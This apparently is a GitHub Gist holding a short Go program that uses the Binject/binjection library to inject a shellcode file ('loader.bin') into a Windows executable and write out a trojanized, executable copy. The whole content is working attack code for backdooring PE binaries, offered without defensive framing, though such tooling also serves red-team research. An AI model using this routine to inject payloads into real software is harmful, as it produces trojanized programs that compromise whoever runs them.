Created
July 2, 2020 00:04
-
-
Save ahhh/594f68885c82d27ad21b55a04a72d904 to your computer and use it in GitHub Desktop.
Using the binject/binjection library programatically
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import( | |
"io/ioutil" | |
"fmt" | |
"github.com/Binject/binjection/bj" | |
) | |
var ( | |
example_path = "example.exe" | |
example_shellcode = "loader.bin" | |
injected_out = "injected_out.exe" | |
) | |
func main() { | |
in_dat, err := ioutil.ReadFile(example_path) | |
if err != nil { | |
fmt.Println(err.Error()) | |
} | |
payload, err := ioutil.ReadFile(example_shellcode) | |
if err != nil { | |
fmt.Println(err.Error()) | |
} | |
injected_bytes, err := bj.PeBinject(in_dat, payload, &bj.BinjectConfig{ | |
InjectionMethod: bj.PE, | |
}) | |
if err != nil { | |
fmt.Println(err.Error()) | |
} | |
err = ioutil.WriteFile(injected_out, injected_bytes, 0700) | |
if err != nil { | |
fmt.Println(err.Error()) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment